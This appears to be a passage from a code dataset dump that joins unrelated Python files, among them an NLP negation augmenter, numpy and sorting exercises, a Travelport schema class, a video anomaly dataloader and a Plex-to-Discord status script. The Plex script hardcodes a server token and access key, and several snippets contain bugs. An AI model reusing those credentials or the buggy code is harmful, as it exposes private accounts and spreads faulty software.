Sentence\n new_sentence.append(token)\n\n # Initialize Variables\n token_lowercased_lemma = token.lemma_.lower()\n\n # Process Negations\n if token_lowercased_lemma == \"not\" or token_lowercased_lemma == \"n't\":\n # Get not position\n not_index = token.i\n\n # Process Auxiliaries\n if not_index > 0:\n\n # Get Previous Token\n previous_index = not_index - 1\n previous_token = doc[previous_index]\n previous_surface = previous_token.text\n previous_lowercase_surface = previous_surface.lower()\n\n # Remove Negation\n if previous_lowercase_surface in supported_auxiliaries:\n new_sentence = new_sentence[:-1]\n changed = True\n\n elif previous_lowercase_surface in [\"do\"]:\n new_sentence = new_sentence[:-2]\n changed = True\n\n # Handle Spacing\n if (\n token_lowercased_lemma == \"n't\"\n and changed\n and new_sentence\n ):\n new_sentence[-1] = nlp(\n new_sentence[-1].text + token.whitespace_\n )[0]\n\n # Rebuild Sentence\n new_sentence = [t.text + t.whitespace_ for t in new_sentence]\n new_sentence = \"\".join(new_sentence)\n\n return (new_sentence, changed)\n\n\nclass SentenceAuxiliaryNegationRemoval(SentenceOperation):\n tasks = [\n TaskType.TEXT_CLASSIFICATION,\n TaskType.TEXT_TO_TEXT_GENERATION,\n TaskType.QUALITY_ESTIMATION,\n ]\n languages = [\"en\"]\n keywords = [\n \"morphological\",\n \"lexical\",\n \"rule-based\",\n \"tokenizer-required\",\n \"meaning-alteration\",\n \"high-precision\",\n \"low-coverage\",\n \"low-generations\",\n \"causal-reasoning\",\n ]\n\n def __init__(self, seed=0, max_outputs=1):\n super().__init__(seed, max_outputs=max_outputs)\n self.nlp = spacy_nlp if spacy_nlp else spacy.load(\"en_core_web_sm\")\n\n def generate(self, sentence: str):\n\n # Initialize Variables\n output_sentence = sentence\n\n # Process sentence\n new_sentence, changed = auxiliary_negation_removal(sentence, self.nlp)\n\n if changed:\n output_sentence = new_sentence\n\n return [output_sentence]\n\n\nclass PairAuxiliaryNegationRemoval(SentencePairOperation):\n tasks = [TaskType.PARAPHRASE_DETECTION]\n languages = [\"en\"]\n keywords = [\n \"morphological\",\n \"lexical\",\n \"rule-based\",\n \"tokenizer-required\",\n \"meaning-alteration\",\n \"high-precision\",\n \"low-coverage\",\n \"low-generations\",\n \"causal-reasoning\",\n ]\n\n def __init__(self, seed=0, max_outputs=3, pos_label=\"1\", neg_label=\"0\"):\n super().__init__(seed, max_outputs=max_outputs)\n self.nlp = spacy_nlp if spacy_nlp else spacy.load(\"en_core_web_sm\")\n self.pos_label = pos_label\n self.neg_label = neg_label\n\n def generate(self, sentence1: str, sentence2: str, target: str):\n\n # Initialize Variables\n output_sentences = []\n changed_sentences = {}\n\n # Only process equivalent pairs\n if target == self.pos_label:\n\n for n, sentence in enumerate([sentence1, sentence2]):\n # Process sentence\n new_sentence, changed = auxiliary_negation_removal(\n sentence, self.nlp\n )\n if changed:\n changed_sentences[n] = new_sentence\n\n if 0 in changed_sentences.keys():\n output_sentences.append(\n (changed_sentences[0], sentence2, self.neg_label)\n )\n\n if 1 in changed_sentences.keys():\n output_sentences.append(\n (sentence1, changed_sentences[1], self.neg_label)\n )\n\n if 0 in changed_sentences.keys() and 1 in changed_sentences.keys():\n output_sentences.append(\n (changed_sentences[0], changed_sentences[1], self.pos_label)\n )\n\n if not output_sentences:\n output_sentences = [(sentence1, sentence2, target)]\n\n return output_sentences\n\n\n\"\"\"\n# Sample code to demonstrate usage. Can also assist in adding test cases.\n# You don't need to keep this code in your transformation.\nif __name__ == '__main__':\n import json\n from TestRunner import convert_to_snake_case\n tf = SentenceAuxiliaryNegationRemoval()\n test_cases = []\n for sentence[\"Andrew has not returned the French book to the library.\",\n \"Sentences with gapping, such as Paul likes coffee and Mary tea, do not have an overt predicate.\",\n \"Alice in Wonderland isn't a 1997 American live-action/animated dark fantasy adventure film.\",\n \"Ujjal Dev Dosanjh was not the 1st Premier of British Columbia from 1871 to 1872.\",\n \"The fighters would not give up.\"]:\n test_cases.append({\n \"class\": tf.name(),\n \"inputs\": {\"sentence\": sentence},\n \"outputs\": [{\"sentence\": o[0]} for o in tf.generate(sentence)]}\n )\n json_file = {\"type\": convert_to_snake_case(tf.name()), \"test_cases\": test_cases}\n print(json.dumps(json_file))\n tf = PairAuxiliaryNegationRemoval(max_outputs=3)\n test_cases = []\n for sentence1, sentence2, target in zip([\"Andrew has not returned the French book to the library.\",\n \"Sentences with gapping, such as Paul likes coffee and Mary tea, do not have an overt predicate.\",\n \"Alice in Wonderland isn't a 1997 American live-action/animated dark fantasy adventure film.\",\n \"Ujjal Dev Dosanjh was not the 1st Premier of British Columbia from 1871 to 1872.\",\n \"The fighters would not give up.\"],\n [\"He hasn't brought back the library's books.\",\n \"Gapping sentences, such as Paul likes coffee and Mary tea, lack an overt predicate.\",\n \"Alice in Wonderland is not an American animated, dark fantasy adventure film from 1997.\",\n \"U.D. Dosanjh wasn't the 1st Premier of British Columbia for a year from 1871.\",\n \"The warriors wouldn't leave the battlefield.\"],\n [\"1\",\n \"1\",\n \"1\",\n \"1\",\n \"1\"\n ]\n ):\n test_cases.append({\n \"class\": tf.name(),\n \"inputs\": {\"sentence1\": sentence1, \"sentence2\": sentence2, \"target\": target},\n \"outputs\": [{\"sentence1\": o[0], \"sentence2\": o[1], \"target\": o[2]} for o in tf.generate(sentence1, sentence2, target)]}\n )\n json_file = {\"type\": convert_to_snake_case(tf.name()), \"test_cases\": test_cases}\n print(json.dumps(json_file))\n\"\"\"\n","repo_name":"GEM-benchmark/NL-Augmenter","sub_path":"nlaugmenter/transformations/auxiliary_negation_removal/transformation.py","file_name":"transformation.py","file_ext":"py","file_size_in_byte":8477,"program_lang":"python","lang":"en","doc_type":"code","stars":748,"dataset":"github-code","pt":"70"} +{"seq_id":"40838258474","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n读取数据\r\naxis\r\n二维:行-0\r\n 列-1\r\n三维:\r\n 块-0\r\n 行-1\r\n 列-2\r\n\"\"\"\r\nimport numpy as np\r\n'''\r\nnp.loadtxt(fname,dtype=np.float,delimiter=None,skiprows=0,usecols=None,unpack=False)\r\nfname:文件名\r\ndtype:数据类型,默认科学计数法的float类型\r\ndelimiter:分隔字符串,默认空格,应改成逗号(csv文件)\r\nskiprows:跳过前x行,一般跳过第一行表头\r\nusecols:读取指定的列\r\nunpack:默认False读取原矩阵,修改成True读取转置矩阵\r\n'''\r\n#转置矩阵方法一\r\nt1 = np.arange(10).reshape(2,5)\r\nt2 = np.transpose(t1)\r\nprint(t1)\r\n'''\r\n[[0 1 2 3 4]\r\n [5 6 7 8 9]]\r\n'''\r\nprint(t2)\r\n'''\r\n[[0 5]\r\n [1 6]\r\n [2 7]\r\n [3 8]\r\n [4 9]]\r\n'''\r\n#转置矩阵方法二\r\nt3 = t2.swapaxes(1,0)#行列交换\r\nprint(t3)\r\n'''\r\n[[0 1 2 3 4]\r\n [5 6 7 8 9]]\r\n'''\r\n#读取数据\r\nfilename_us='E:/youtube_video_data/US_video_data_numbers.csv'\r\nfilename_GB='E:/youtube_video_data/GB_video_data_numbers.csv'\r\ndata_us = np.loadtxt(filename_us,delimiter=',',dtype=\"int\")\r\n#print(data_us)\r\n ","repo_name":"csq-pual/python","sub_path":"读取本地数据.py","file_name":"读取本地数据.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"34907766115","text":"class FindDifference(object):\n \"\"\" find the difference between two strings \"\"\"\n def find_diff_1(self, s1:str, s2:str) -> str:\n \"\"\"\n Find the difference between s1 and s2 where s2 has one different string string.\n\n Args:\n s1: string to be compressed\n s2: string to be compressed\n\n\n\n Returns:\n str: single character string\n\n Examples:\n\n >>> fd = FindDifference()\n >>> fd.find_diff_1('test', 'tegt')\n 'g'\n\n \"\"\"\n if s1 is None and s2 is None:\n raise TypeError('Sting inputs can not be None')\n for char in s2:\n count_char_s1 = s1.count(char)\n count_char_s2 = s2.count(char)\n if count_char_s2 != count_char_s1:\n return char\n return ''\n \n def find_diff_2(self, s1, s2):\n \"\"\"\n Find the difference between s1 and s2 where s2 has one different string string.\n\n Args:\n s1: string to be compressed\n s2: string to be compressed\n\n\n\n Returns:\n str: single character string\n\n Examples:\n\n >>> fd = FindDifference()\n >>> fd.find_diff_2('test', 'tegt')\n 'g'\n\n \"\"\"\n dict_s1 = {}\n dict_s2 = {}\n for char in s1:\n if char in dict_s1:\n dict_s1[char] += 1\n else:\n dict_s1[char] = 1 \n for char in s2:\n if char in dict_s2:\n dict_s2[char] += 1\n else:\n dict_s2[char] = 1\n for char in dict_s2:\n try:\n if char not in dict_s1 or dict_s2[char]>dict_s1[char]:\n return str(char)\n except KeyError:\n continue\n return ''","repo_name":"laith-k/personal-library","sub_path":"scripts/find_differenc.py","file_name":"find_differenc.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18738590219","text":"#1 \nimport quandl\nxrate = quandl.get(\"RBA/FXRUSD-AUD-USD-Exchange-Rate\")\n\n#2\nxdelta = xrate.diff().dropna()\nup = xdelta[xdelta[\"Value\"] > 0]\ndown = xdelta[xdelta[\"Value\"] < 0]\nup_result = len(up)/len(xdelta)\ndown_result = len(down)/len(xdelta)\nup_result\n\n#Extended Exercise\n\niters = range(1000) #Repeat our experiment 1000 times.\nresults = []\n\nfor i in iters:\n data = np.random.normal(size=365) #Generate normally distributed data for 1 year.\n data = np.array([x > 0 for x in data]) # Up = True, Down = False\n\n test_result = data.sum()/len(data) #'True' is stored as a 1, so we can use sum to count.\n results.append(test_result)\n\nplt.hist(results)\n\nstats.ttest_1samp(results, 0.5)\nprint('t stat: {:.4f}, p value: {:4f}'.format(t_stat, p_val))\n\n\n\n","repo_name":"Marouen07/QuantFinance","sub_path":"notebooks/solutions/hypothesis_two.py","file_name":"hypothesis_two.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"18111118211","text":"def partition(A, l, r):\n # 피봇 정해주기\n p = A[l]\n # i와 j 위치 각각 잡아주기\n i, j = l, r\n # A 리스트에서 i를 증가 시키면서 해당 위치가 p보다 크면 멈춘다.\n # j 는 감소시키면서 p보다 작은 값이 있다면 멈춘다.\n while i <= j:\n while i <= j and A[i] <= p:\n i += 1\n while i <= j and A[j] >= p:\n j -= 1\n # 교차 하지 않고 i와 j의 위치를 찾았다면 두 위치를 바꾸어 준다\n if i < j:\n A[i], A[j] = A[j], A[i]\n # 반복이 끝나면 p과 j의 위치를 바꾸어 준다 p의 해당 위치는 앞으로 고정 이다.\n A[l], A[j] = A[j], A[l]\n # 해당 피봇의 위치 리턴\n return j\n\n\n# A : 정렬할 대상 리스트\n# l : 왼쪽 인덱스\n# r : 오른쪽 인덱스\ndef quicksort(A, l, r):\n if l < r:\n s = partition(A, l, r)\n # 고정된 위치를 찾은 곳을 제외한 나머지 왼쪽 오른쪽 부분에서 정렬을 진행한다.\n quicksort(A, l, s - 1)\n quicksort(A, s + 1, r)\n\n\nT = int(input())\nfor tc in range(1, T + 1):\n N = int(input())\n A = list(map(int, input().split()))\n quicksort(A, 0, N - 1)\n print(f\"#{tc} {A[N//2]}\")\n","repo_name":"seonggwon98/Algo","sub_path":"swea문제풀이/swea16942_quicksort.py","file_name":"swea16942_quicksort.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23298877364","text":"import sys\nsys.stdin = open(\"input.txt\")\n\nT = int(input())\n\n# 길이가 가장 긴것이 아니라,\n# 차이가 가장 큰것을 골라야함.\n# 그 차이, 낙차를 구하면 됨.\n\n# [0] 이중 포문에 넣어서 이차원 배열로 풀어도 가능할듯.\n\nfor tc in range(1, T+1):\n N = int(input()) # 방의 길이\n case_numbers = list(map(int, input().split())) #주어지는 숫자열 리스트\n # [7 4 2 0 0 6 0 7 0]\n\n my_list = [[0 for _ in range(N)]for _ in range(N)]\n # print(my_list)\n # 잘 만들어짐\n\n for i in range(N): # 0~ 8\n for j in range(case_numbers[i]):\n my_list[::-1][j][i] += 1\n\n\n\n\n print(\"#{} \".format(tc, ))","repo_name":"chanin-shim/SWEA","sub_path":"수업시간/1주차/11457_gravity/my_sol 2.py","file_name":"my_sol 2.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22538403603","text":"from typing import Dict\n\nfrom ..channel import Channel, ChannelState\nfrom ..models import DatabasePut as DatabasePutModel\nfrom .base import Base\n\n\nclass DatabasePut(Base):\n def __init__(\n self, default_variables: Dict, database_put_content: DatabasePutModel, channel: Channel\n ) -> None:\n super().__init__(default_variables, channel=channel)\n self.log = self.log.getChild(database_put_content.id)\n self.content: DatabasePutModel = database_put_content\n\n @property\n def entries(self) -> dict:\n return self.render_data(data=self.content.entries)\n\n @property\n def o_connection(self) -> str:\n return self.render_data(self.content.get(\"o_connection\", \"\"))\n\n async def _update_node(self):\n await self.channel.update_ivr(\n node_id=self.o_connection,\n state=ChannelState.END if not self.o_connection else None,\n )\n\n async def run(self):\n for entry, variable in self.entries.items():\n family, key = [x.strip(\"/\") for x in entry.rsplit(\"/\", 1)]\n db_result = await self.asterisk_conn.agi.database_put(family, key, variable)\n self.log.info(\n f\"node database_put send family,key:{entry} with value:{variable} result {db_result.result}\"\n )\n\n await self._update_node()\n","repo_name":"iKonoTelecomunicaciones/ivrflow","sub_path":"ivrflow/nodes/database_put.py","file_name":"database_put.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"43209899502","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom travelport.models.type_policy_codes_list_1 import TypePolicyCodesList1\n\n__NAMESPACE__ = \"http://www.travelport.com/schema/hotel_v52_0\"\n\n\n@dataclass\nclass RateInfo:\n \"\"\"\n Parameters\n ----------\n policy_codes_list\n A list of codes that indicate why an item was determined to be ‘out\n of policy’.\n minimum_amount\n The low end of the nightly price range\n approximate_minimum_amount\n The low end of the nightly price range in another currency\n min_amount_rate_changed\n Indicates the low end price range changes over the requested stay\n maximum_amount\n The high end of the nightly price range\n approximate_maximum_amount\n The high end of the nightly price range in another currency\n max_amount_rate_changed\n Indicates the high end price range changes over the requested stay\n minimum_stay_amount\n The low end of the price range for the entire stay\n approximate_minimum_stay_amount\n The low end of the price range for the entire stay in another\n currency\n commission\n Commission information for this rate supplier\n rate_supplier\n Indicates the supplier of the rate.\n rate_supplier_logo\n Url of the supplier's logo\n min_in_policy\n This attribute will be used to indicate if the minimum fare or rate\n has been determined to be ‘in policy’ based on the associated policy\n settings.\n max_in_policy\n This attribute will be used to indicate if the maximum fare or rate\n has been determined to be ‘in policy’ based on the associated policy\n settings.\n \"\"\"\n class Meta:\n namespace = \"http://www.travelport.com/schema/hotel_v52_0\"\n\n policy_codes_list: None | TypePolicyCodesList1 = field(\n default=None,\n metadata={\n \"name\": \"PolicyCodesList\",\n \"type\": \"Element\",\n }\n )\n minimum_amount: None | str = field(\n default=None,\n metadata={\n \"name\": \"MinimumAmount\",\n \"type\": \"Attribute\",\n }\n )\n approximate_minimum_amount: None | str = field(\n default=None,\n metadata={\n \"name\": \"ApproximateMinimumAmount\",\n \"type\": \"Attribute\",\n }\n )\n min_amount_rate_changed: None | bool = field(\n default=None,\n metadata={\n \"name\": \"MinAmountRateChanged\",\n \"type\": \"Attribute\",\n }\n )\n maximum_amount: None | str = field(\n default=None,\n metadata={\n \"name\": \"MaximumAmount\",\n \"type\": \"Attribute\",\n }\n )\n approximate_maximum_amount: None | str = field(\n default=None,\n metadata={\n \"name\": \"ApproximateMaximumAmount\",\n \"type\": \"Attribute\",\n }\n )\n max_amount_rate_changed: None | bool = field(\n default=None,\n metadata={\n \"name\": \"MaxAmountRateChanged\",\n \"type\": \"Attribute\",\n }\n )\n minimum_stay_amount: None | str = field(\n default=None,\n metadata={\n \"name\": \"MinimumStayAmount\",\n \"type\": \"Attribute\",\n }\n )\n approximate_minimum_stay_amount: None | str = field(\n default=None,\n metadata={\n \"name\": \"ApproximateMinimumStayAmount\",\n \"type\": \"Attribute\",\n }\n )\n commission: None | str = field(\n default=None,\n metadata={\n \"name\": \"Commission\",\n \"type\": \"Attribute\",\n }\n )\n rate_supplier: None | str = field(\n default=None,\n metadata={\n \"name\": \"RateSupplier\",\n \"type\": \"Attribute\",\n \"max_length\": 64,\n }\n )\n rate_supplier_logo: None | str = field(\n default=None,\n metadata={\n \"name\": \"RateSupplierLogo\",\n \"type\": \"Attribute\",\n }\n )\n min_in_policy: None | bool = field(\n default=None,\n metadata={\n \"name\": \"MinInPolicy\",\n \"type\": \"Attribute\",\n }\n )\n max_in_policy: None | bool = field(\n default=None,\n metadata={\n \"name\": \"MaxInPolicy\",\n \"type\": \"Attribute\",\n }\n )\n","repo_name":"tefra/xsdata-samples","sub_path":"travelport/models/rate_info.py","file_name":"rate_info.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"39298112347","text":"class linked_list:\n def __init__(self):\n self.root = None\n\n def add_to_list(self, new_node):\n if self.root:\n new_node.next = self.root\n else:\n self.root = node\n\n def find(self, name):\n marker = self.root\n while marker:\n if marker.name == name:\n return marker\n try:\n marker = marker.next\n except ValueError:\n print(f\"Couldn't find {name}\")\n\n","repo_name":"rifkegribenes/python-postgres-practice","sub_path":"linked-list/project/linked-list.py","file_name":"linked-list.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2383161725","text":"from pypresence import Presence\nimport time\nfrom plexapi.server import PlexServer\nfrom threading import Timer\nimport re\nfrom moviebotapi.core.models import MediaType\nfrom moviebotapi import MovieBotServer\nfrom moviebotapi.core.session import AccessKeySession\nSERVER_URL = 'http://192.168.50.190:1329'\nACCESS_KEY = '123524'\nserver = MovieBotServer(AccessKeySession(SERVER_URL, ACCESS_KEY))\n\nbaseurl = 'http://192.168.50.190:32400'\ntoken = 'i4CPSgyCxaE9zwXZhVpJ'\nplex = PlexServer(baseurl, token)\napp = Presence(\"1049283090255712276\")\napp.connect()\n\ndef _update():\n sessions = plex.sessions()\n photo1 = 'http://43.134.198.180:5244/d/GoogleDrive/%E5%85%AC%E7%94%A8/123.jpg'\n r = re.compile(r'(?<=\\= svm_reg.epsilon)\n return np.argwhere(off_margin)\n\nsvm_reg1.support_ = find_support_vectors(svm_reg1, X, y)\nsvm_reg2.support_ = find_support_vectors(svm_reg2, X, y)\n\neps_x1 = 1\neps_y_pred = svm_reg1.predict([[eps_x1]])\n\ndef plot_svm_regression(svm_reg, X, y, axes):\n x1s = np.linspace(axes[0], axes[1], 100).reshape(100, 1)\n y_pred = svm_reg.predict(x1s)\n plt.plot(x1s, y_pred, \"k-\", linewidth=2, label=r\"$\\hat{y}$\")\n plt.plot(x1s, y_pred + svm_reg.epsilon, \"k--\")\n plt.plot(x1s, y_pred - svm_reg.epsilon, \"k--\")\n plt.scatter(X[svm_reg.support_], y[svm_reg.support_], s=180, facecolors='#FFAAAA')\n plt.plot(X, y, \"bo\")\n plt.xlabel(r\"$x_1$\", fontsize=18)\n plt.legend(loc=\"upper left\", fontsize=18)\n plt.axis(axes)\n\nfig, axes = plt.subplots(ncols=2, figsize=(9, 4), sharey=True)\nplt.sca(axes[0])\nplot_svm_regression(svm_reg1, X, y, [0, 2, 3, 11])\nplt.title(r\"$\\epsilon = {}$\".format(svm_reg1.epsilon), fontsize=18)\nplt.ylabel(r\"$y$\", fontsize=18, rotation=0)\n#plt.plot([eps_x1, eps_x1], [eps_y_pred, eps_y_pred - svm_reg1.epsilon], \"k-\", linewidth=2)\nplt.annotate(\n '', xy=(eps_x1, eps_y_pred), xycoords='data',\n xytext=(eps_x1, eps_y_pred - svm_reg1.epsilon),\n textcoords='data', arrowprops={'arrowstyle': '<->', 'linewidth': 1.5}\n )\nplt.text(0.91, 5.6, r\"$\\epsilon$\", fontsize=20)\nplt.sca(axes[1])\nplot_svm_regression(svm_reg2, X, y, [0, 2, 3, 11])\nplt.title(r\"$\\epsilon = {}$\".format(svm_reg2.epsilon), fontsize=18)\n#save_fig(\"svm_regression_plot\")\nplt.show()\n\n###\nnp.random.seed(42)\nm = 100\nX = 2 * np.random.rand(m, 1) - 1\ny = (0.2 + 0.1 * X + 0.5 * X**2 + np.random.randn(m, 1)/10).ravel()\n\nfrom sklearn.svm import SVR\n\nsvm_poly_reg = SVR(kernel=\"poly\", degree=2, C=100, epsilon=0.1, gamma=\"scale\")\nsvm_poly_reg.fit(X, y)\n\nfrom sklearn.svm import SVR\n\nsvm_poly_reg1 = SVR(kernel=\"poly\", degree=2, C=100, epsilon=0.1, gamma=\"scale\")\nsvm_poly_reg2 = SVR(kernel=\"poly\", degree=2, C=0.01, epsilon=0.1, gamma=\"scale\")\nsvm_poly_reg1.fit(X, y)\nsvm_poly_reg2.fit(X, y)\n\nfig, axes = plt.subplots(ncols=2, figsize=(9, 4), sharey=True)\nplt.sca(axes[0])\nplot_svm_regression(svm_poly_reg1, X, y, [-1, 1, 0, 1])\nplt.title(r\"$degree={}, C={}, \\epsilon = {}$\".format(svm_poly_reg1.degree, svm_poly_reg1.C, svm_poly_reg1.epsilon), fontsize=18)\nplt.ylabel(r\"$y$\", fontsize=18, rotation=0)\nplt.sca(axes[1])\nplot_svm_regression(svm_poly_reg2, X, y, [-1, 1, 0, 1])\nplt.title(r\"$degree={}, C={}, \\epsilon = {}$\".format(svm_poly_reg2.degree, svm_poly_reg2.C, svm_poly_reg2.epsilon), fontsize=18)\n#save_fig(\"svm_with_polynomial_kernel_plot\")\nplt.show()\n\n\n###\nt = np.linspace(-2, 4, 200)\nh = np.where(1 - t < 0, 0, 1 - t) # max(0, 1-t)\n\nplt.figure(figsize=(5,2.8))\nplt.plot(t, h, \"b-\", linewidth=2, label=\"$max(0, 1 - t)$\")\nplt.grid(True, which='both')\nplt.axhline(y=0, color='k')\nplt.axvline(x=0, color='k')\nplt.yticks(np.arange(-1, 2.5, 1))\nplt.xlabel(\"$t$\", fontsize=16)\nplt.axis([-2, 4, -1, 2.5])\nplt.legend(loc=\"upper right\", fontsize=16)\n#save_fig(\"hinge_plot\")\nplt.show()\n\n\n\n","repo_name":"naromerol/COMP247","sub_path":"LabWk3n4/LabNonLinearSVM Lab5B.py","file_name":"LabNonLinearSVM Lab5B.py","file_ext":"py","file_size_in_byte":7155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26279088086","text":"import random\r\npalavra = 'armando'\r\nchances = 2\r\nnova_palavra = ''\r\npalavra_l = list(palavra)\r\nwhile len(palavra_l) != 0:\r\n n = random.randint(0, len(palavra_l) - 1)\r\n nova_palavra += palavra_l[n]\r\n palavra_l.pop(n)\r\nprint(f'A palavra é: {nova_palavra}')\r\nwhile True:\r\n if chances == 0:\r\n print('Você perdeu!')\r\n break\r\n tentativa = input('Insira a palavra a ser adivinhada: ')\r\n if tentativa == palavra:\r\n print('ACERTOU!! Você venceu!')\r\n break\r\n else:\r\n print(f'Errou! Restam {chances - 1} tentativas.')\r\n chances -= 1\r\nprint()\r\nprint('powered by ggOS')\r\n","repo_name":"gg-OS/estudos","sub_path":"Listas da internet/Strings (PythonBrasil)/exercicio13.py","file_name":"exercicio13.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"35314865259","text":"import os\nimport numpy as np\nimport cv2\nimport torch\nfrom torch.utils.data import Dataset\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom torch.utils.data import DataLoader\nfrom random import shuffle\nimport random\nimport torchvision\nimport scipy.io as scio\nimport glob2\n\nclass VIDEO11(Dataset): \n def __init__(self, data_list='./train.txt', num_of_img=3, num_of_skip=1, mode='train'):\n with open(os.path.join(data_list)) as f:\n self.mode = mode\n self.img_list = []\n self.num_of_img = num_of_img\n self.num_of_skip = num_of_skip\n self.transform_forlabel = transforms.Compose([transforms.ToTensor()])\n self.transform = transforms.Compose([transforms.ToTensor()])\n\n for line in f:\n line = line.replace(\"\\n\", \"\")\n lists = line.split(\" \")\n root = lists[0]\n \n for i in range(1, len(lists)):\n samples = []\n for j in range(0, num_of_img):\n try:\n samples.append(lists[i + j*num_of_skip])\n except:\n pass\n if len(samples) == num_of_img:\n samples_str = ' '.join(samples)\n self.img_list.append(root + \" \" + samples_str)\n \n def __len__(self):\n return len(self.img_list)\n \n def __getitem__(self, idx):\n img_lists = (self.img_list[idx]).split(\" \")\n aug_box = []\n real_box = []\n pred_box=[]\n draw_box = []\n img_sequence = list(range(self.num_of_img-1))\n shuffle(img_sequence)\n posW = random.randrange(0, 270)\n posH = random.randrange(30, 120)\n augtype = random.randrange(0,2) # 0: TMT, 1: SRT\n k = random.randrange(0, 4)\n\n for i in range(self.num_of_img-1): \n img = cv2.imread(img_lists[0] + \"/\" + img_lists[i+1], 0)\n img = cv2.resize(img, dsize=(360, 240), interpolation=cv2.INTER_CUBIC)\n tensor_image = self.transform(img)\n tensor_for_gt = tensor_image.clone()\n tensor_image = torch.unsqueeze(tensor_image, dim=0)\n real_box.append(tensor_for_gt) #gt\n \n if self.mode == 'train':\n if (augtype == 0): # TMT\n img2 = cv2.imread(img_lists[0] + \"/\" + img_lists[img_sequence[i]+1], 0) #for sequence augmentation\n img2 = cv2.resize(img2, dsize=(360, 240), interpolation=cv2.INTER_CUBIC)\n tensor_aug = self.transform(img2)\n tensor_aug = torch.unsqueeze(tensor_aug, dim=0)\n anopatch = tensor_aug[:,:,posH:(posH+90), posW:(posW+90)] #crop patch\n tensor_image[:,:,posH:(posH+90), posW:(posW+90)] = anopatch #paste patch\n else: #SRT\n k = random.randrange(0, 4)\n anopatch = tensor_image[:,:,posH:(posH+90), posW:(posW+90)]\n anopatch = torch.rot90(anopatch, k, dims=(2,3))\n tensor_image[:,:,posH:(posH+90), posW:(posW+90)] = anopatch\n aug_box.append(tensor_image) #augmented frame cuboid\n\n #================pred gt===========================\n pred_img = cv2.imread(img_lists[0] + \"/\" + img_lists[self.num_of_img], 0)\n pred_img = cv2.resize(pred_img, dsize=(360, 240), interpolation=cv2.INTER_CUBIC) # ped2\n pred_image = self.transform(pred_img)\n pred_torch = torch.unsqueeze(pred_image, dim=0)\n #==================================================\n\n if self.mode == 'train':\n result = torch.cat(aug_box, dim=0) #augmented\n result = result.transpose(0,1)\n real = torch.cat(real_box, dim=0) #gt \n real = torch.unsqueeze(real, dim=0)\n pred_torch = pred_torch.transpose(0,1)\n\n folder_name = (img_lists[0].split(\"/\"))[-1]\n if self.mode == 'train':\n return result, pred_torch, real, box\n else:\n return real, pred_torch, folder_name \n\nclass Label_loader:\n def __init__(self, dataset, video_folders):\n self.data_root ='./data/'\n self.name = dataset\n self.mat_path = f'{self.data_root + self.name}/{self.name}.mat'\n self.video_folders = video_folders\n\n def __call__(self):\n if self.name == 'shanghaitech':\n gt = self.load_shanghaitech()\n else:\n gt = self.load_ucsd_avenue()\n return gt\n\n def load_ucsd_avenue(self):\n abnormal_events = scio.loadmat(self.mat_path, squeeze_me=True)['gt']\n all_gt = []\n for i in range(abnormal_events.shape[0]):\n length = len(os.listdir(self.video_folders[i]))\n sub_video_gt = np.zeros((length,), dtype=np.int8)\n one_abnormal = abnormal_events[i]\n if one_abnormal.ndim == 1:\n one_abnormal = one_abnormal.reshape((one_abnormal.shape[0], -1))\n for j in range(one_abnormal.shape[1]):\n start = one_abnormal[0, j] - 1\n end = one_abnormal[1, j]\n sub_video_gt[start: end] = 1\n all_gt.append(sub_video_gt)\n return all_gt\n\n def load_shanghaitech(self):\n np_list = glob2.glob(f'{self.data_root + self.name}/testing/test_frame_mask/*.npy')\n np_list.sort()\n gt = []\n for npy in np_list:\n gt.append(np.load(npy))\n return gt\n\ndef FrameCount(dataset):\n with open(f'{dataset}_test.txt', 'r') as file:\n file_contents = file.read()\n file_paths = file_contents.split()\n jpg_count = 0\n for file_path in file_paths:\n if file_path.endswith('.jpg'):\n jpg_count += 1\n return jpg_count","repo_name":"codnjsqkr/FastAno_official","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"43450404493","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\ndef plotting_ACC(labels, sensor):\n acceleration_time = list(labels[\"#->Timestamp\"].values)\n matplotlib.rcParams['figure.figsize'] = [70, 10]\n ACC_X = list(labels[sensor+\"-X\"].values)\n ACC_Y = list(labels[sensor+\"-Y\"].values)\n ACC_Z = list(labels[sensor+\"-Z\"].values)\n plt.plot(acceleration_time, ACC_X, 'r', label=\"X-axis\")\n plt.plot(acceleration_time, ACC_Y, 'b', label=\"Y-axis\")\n plt.plot(acceleration_time, ACC_Z, 'g', label=\"Z-axis\")\n plt.legend(loc=\"upper right\")\n plt.xlabel(\"Time\")\n plt.ylabel(sensor)\n plt.show()\n\n\ndef plotting_GYRO(labels, sensor):\n acceleration_time = list(labels[\"#->Timestamp\"].values)\n matplotlib.rcParams['figure.figsize'] = [70, 10]\n GYRO_X = list(labels[sensor+\"-X\"].values)\n GYRO_Y = list(labels[sensor+\"-Y\"].values)\n GYRO_Z = 